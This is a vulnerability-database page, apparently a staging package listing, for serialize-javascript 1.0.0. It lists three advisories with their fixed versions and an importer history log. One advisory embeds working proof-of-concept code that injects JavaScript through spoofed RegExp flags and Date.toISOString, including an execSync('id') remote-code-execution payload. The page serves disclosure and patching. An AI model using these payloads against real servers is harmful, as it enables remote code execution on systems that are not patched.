Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/serialize-javascript@1.0.0
purl pkg:npm/serialize-javascript@1.0.0
Next non-vulnerable version 7.0.3
Latest non-vulnerable version 7.0.5
Risk 4.0
Vulnerabilities affecting this package (3)
Vulnerability Summary Fixed by
VCID-3cbb-ghjz-fyhn
Aliases:
CVE-2019-16769
GHSA-h9rv-jmmf-4pgx
Cross-Site Scripting in serialize-javascript Versions of `serialize-javascript` prior to 2.1.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications. ## Recommendation Upgrade to version 2.1.1 or later.
2.1.1
Affected by 2 other vulnerabilities.
VCID-4zkq-sw4a-e7c3
Aliases:
GHSA-5c6j-r48x-rmvq
Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString() ### Impact The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660. While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`. If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes. ```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ``` ```javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")} eval('obj = ' + output); console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution ``` ```javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("child_process").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command ``` ### Patches The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
7.0.3
Affected by 0 other vulnerabilities.
VCID-k6ny-gfg9-8ugd
Aliases:
CVE-2020-7660
GHSA-hxcc-f52p-wc94
Insecure serialization leading to RCE in serialize-javascript serialize-javascript prior to 3.1.0 allows remote attackers to inject arbitrary code via the function "deleteFunctions" within "index.js". An object such as `{"foo": /1"/, "bar": "a\"@__R-<UID>-0__@"}` was serialized as `{"foo": /1"/, "bar": "a\/1"/}`, which allows an attacker to escape the `bar` key. This requires the attacker to control the values of both `foo` and `bar` and guess the value of `<UID>`. The UID has a keyspace of approximately 4 billion making it a realistic network attack.
3.1.0
Affected by 1 other vulnerability.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-17T00:27:45.542228+00:00 GitLab Importer Affected by VCID-4zkq-sw4a-e7c3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/serialize-javascript/GHSA-5c6j-r48x-rmvq.yml 38.4.0
2026-04-16T21:03:54.158744+00:00 GitLab Importer Affected by VCID-k6ny-gfg9-8ugd https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/serialize-javascript/CVE-2020-7660.yml 38.4.0
2026-04-16T20:59:11.937009+00:00 GitLab Importer Affected by VCID-3cbb-ghjz-fyhn https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/serialize-javascript/CVE-2019-16769.yml 38.4.0
2026-04-16T01:34:02.976163+00:00 GHSA Importer Affected by VCID-k6ny-gfg9-8ugd https://github.com/advisories/GHSA-hxcc-f52p-wc94 38.4.0
2026-04-16T01:31:00.622506+00:00 GHSA Importer Affected by VCID-3cbb-ghjz-fyhn https://github.com/advisories/GHSA-h9rv-jmmf-4pgx 38.4.0
2026-04-12T01:52:26.682937+00:00 GitLab Importer Affected by VCID-4zkq-sw4a-e7c3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/serialize-javascript/GHSA-5c6j-r48x-rmvq.yml 38.3.0
2026-04-11T22:15:16.421007+00:00 GitLab Importer Affected by VCID-k6ny-gfg9-8ugd https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/serialize-javascript/CVE-2020-7660.yml 38.3.0
2026-04-11T22:10:24.751800+00:00 GitLab Importer Affected by VCID-3cbb-ghjz-fyhn https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/serialize-javascript/CVE-2019-16769.yml 38.3.0
2026-04-11T13:03:23.016269+00:00 GHSA Importer Affected by VCID-k6ny-gfg9-8ugd https://github.com/advisories/GHSA-hxcc-f52p-wc94 38.3.0
2026-04-11T13:00:19.902995+00:00 GHSA Importer Affected by VCID-3cbb-ghjz-fyhn https://github.com/advisories/GHSA-h9rv-jmmf-4pgx 38.3.0
2026-04-03T02:00:46.004248+00:00 GitLab Importer Affected by VCID-4zkq-sw4a-e7c3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/serialize-javascript/GHSA-5c6j-r48x-rmvq.yml 38.1.0
2026-04-02T22:27:32.069014+00:00 GitLab Importer Affected by VCID-k6ny-gfg9-8ugd https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/serialize-javascript/CVE-2020-7660.yml 38.1.0
2026-04-02T22:22:59.936801+00:00 GitLab Importer Affected by VCID-3cbb-ghjz-fyhn https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/serialize-javascript/CVE-2019-16769.yml 38.1.0
2026-04-02T13:55:13.943812+00:00 GHSA Importer Affected by VCID-k6ny-gfg9-8ugd https://github.com/advisories/GHSA-hxcc-f52p-wc94 38.1.0
2026-04-02T13:52:27.636787+00:00 GHSA Importer Affected by VCID-3cbb-ghjz-fyhn https://github.com/advisories/GHSA-h9rv-jmmf-4pgx 38.1.0
2026-04-01T16:45:33.908919+00:00 GitLab Importer Affected by VCID-k6ny-gfg9-8ugd https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/serialize-javascript/CVE-2020-7660.yml 38.0.0
2026-04-01T16:40:46.925801+00:00 GitLab Importer Affected by VCID-3cbb-ghjz-fyhn https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/serialize-javascript/CVE-2019-16769.yml 38.0.0